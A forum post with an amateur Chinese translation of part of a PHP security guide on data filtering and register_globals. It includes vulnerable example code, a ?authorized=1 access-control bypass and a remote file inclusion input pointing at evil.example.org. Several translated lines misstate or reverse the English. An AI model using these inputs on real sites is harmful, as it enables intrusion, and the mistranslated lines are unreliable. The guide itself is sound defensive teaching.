PHP安全指引第一章前半段翻譯

edited 十月 2013 in 進階PHP討論
注意:我並沒有得到這篇文章合法的授權翻譯,這只是個人練習翻譯用的作品。

What Is Security? (安全是什麼?)

Security is a measurement, not a characteristic. (安全是一個準則,而非特性)

It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.
(令人遺憾的是,許多軟體計劃所列出的安全,就像是一個"盡力"去達到的簡單的需求。
這是安全的嗎?這個問題就像是問某個東西是不是熱的一樣的主觀。)



Security must be balanced with expense. (安全必須與費用平衡)

It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you're protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.
(對大多數的應用程式來說,提供顯著的安全性是一項容易且相對便宜的事情。
然而,如果因為你要保護的資訊十分有價值,而導致你的安全需求非常嚴苛; 那麼,你必須增加成本來達到高度的安全。
這項費用必須被編入計畫的預算中。)



Security must be balanced with usability. (安全必須與可用性平衡)

It is not uncommon that steps taken to increase the security of a web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but there isn't one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.
(有些步驟增加了網頁程式的安全性,同時也降低了其可用性,這樣的狀況並不常見。
對於一個合法的使用者來說,密碼、存取期間以及存取控制全都會造成障礙。
這些方式對於提供足夠的安全性這件事來說,有時是必須的;但是這些方式並不是一個適合每一項應用的解決方案。
當你實做了這些安全準則時,必須判斷、留意合法的使用者們 的反應。)



Security must be part of the design. (安全必須是設計的一部份)

If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities. Careful programming cannot make up for a poor design.
(如果你不能用心設計安全的應用程式,你註定會不斷地提出新的安全漏洞。
謹慎的編寫程式不能補償一個糟糕的設計。)





Basic Steps (基本步驟)

Consider illegitimate uses of your application. (考慮在程式中的不正常的操作)

A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.
(一個安全的設計是解決方案的全部。
在開發過程中、當撰寫程式碼時,考慮應用程式的非法使用是件重要的事情。
重點通常放在應用程式能否如預期的正確地執行,而這些對應用程式的安全沒有任何幫助。)



Educate yourself. (自我提升)

The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the web and in print, and several resources are listed in the PHP Security Consortium's Library at http://phpsec.org/library/.
(事實上、 顯而易見的,正在看這篇文章的你,關心安全性的議題,而這正是最重要的一步 。
在網路或出版品中有許多豐富的資源,而在PHP安全團體的圖書室(http://phpsec.org/library/)中也有許多的資源列表。)



If nothing else, FILTER ALL EXTERNAL DATA. (不然,過濾所有外部資料)

Data filtering is the cornerstone of web application security in any language and on any platform. By initializing your variables and filtering all data that comes from an external source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).
(在任何語言跟平台中,資料過濾是網頁應用程式安全性的基礎。
透過變數初始化與過濾所有外來的資料這些許的努力, 你可以提出一些安全漏洞的要點。
一個白箱測試方式優於黑箱。
這意味著你應該視所有資料是未驗證過的,除非它可以被證明已被驗證過(反之不然)。)





Register Globals (註冊全域變數)

The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with register_globals disabled.
(PHP 4.2.0 以後的版本預設是把 register_globals 指示為關掉了。
雖然這樣指示不被視為一個安全漏洞,但它卻是一項安全性的風險。
然而,在開發與部屬應用程式時,你應該總是將 register_globals 的指示關掉。)

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:
(為什麼這是一項安全性的風險?
因為它時常需要一個獨特的狀態使得風險明確化,而好的範例很難向每個人展現這點 。
然而,在PHP手冊中你可以找到的大多數範例像底下這樣:)


<?php

if (authenticated_user())
{
$authorized = true;
}

if ($authorized)
{
include '/highly/sensitive/data.php';
}

?>


With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with error_reporting set to E_ALL, so that the use of an uninitialized variable won't be overlooked during development.
(當 register_globals 被打開時,這個頁面可以在參數列加上?authorized=1 來訪問,以避過預期的存取控制。
當然,這項漏洞是開發者的過失而非 register_globals 的緣故,然而,這顯示出這項指示提高了風險。
關掉這項指示,一般的全域變數(像是範例中的 $authorized )將不會被客戶端所提交的資料所影響。
一項好的作法是將所有的變數初始化並將 error_reporting 設定為 E_ALL 來開發程式,因此在開發過程中未初始化的變數將不會被忽略。)

Another example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:
(另一個範例說明了在使用 include 的動態路徑中, register_globals 是如何造成不確定性:)


<?php

include "$path/script.php";

?>


With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:
(當 register_globals 被打開時,這個頁面可以在參數列加上 ?path=http%3A%2F%2Fevil.example.org%2F%3F 來訪問時等同於下面這個範例:)


<?php

include 'http://evil.example.org/?/script.php';

?>


If allow_url_fopen is enabled (which it is by default, even in php.ini-recommended), this will include the output of http://evil.example.org/ just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.
(如果 allow_url_fopen 被打開時(這是在 php.ini-recommended 中的預設值),這將會載入 http://evil.example.org/ 的輸出畫面,宛如它是一個區域檔案。
這是一項主要的安全漏洞並且在一些受歡迎的開源軟體中被發現。)

Initializing $path can mitigate this particular risk, but so does disabling register_globals. Whereas a developer's mistake can lead to an uninitialized variable, disabling register_globals is a global configuration change that is far less likely to be overlooked.
(初始化 $path 可以降低風險,但仍應該關掉 register_globals 指示。
雖然開發者的過失可以引起變數未初始化,而關掉 register_globals 是一項全域的組態變更,它使得變數未初始化的風險可在一定程度下被忽略。)

The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the $_POST and $_GET superglobal arrays is still very convenient, and it's not worth the added risk to enable register_globals. While I completely disagree with arguments that equate register_globals to poor security, I do recommend that it be disabled.
(對在過去非常重視手動維護表單資料而言,這項便利性是很棒的。
然而,使用 $_POST 和 $_GET 這些超級全域陣列也是非常方便, 而且它不像打開 register_globals 時會增加風險。
我完整的論證了打開 register_globals 會導致拙劣的安全性,因此我建議關掉它。)

In addition to all of this, disabling register_globals encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.
(另外, 關掉 register_globals 會刺激開發者去留意原始資料,而且這對任何重視安全性的開發者是一項重要的特性。)

原始討論: http://twpug.net/x/modules/newbb/viewtopic.php?topic_id=431

評論

Sign In or Register to comment.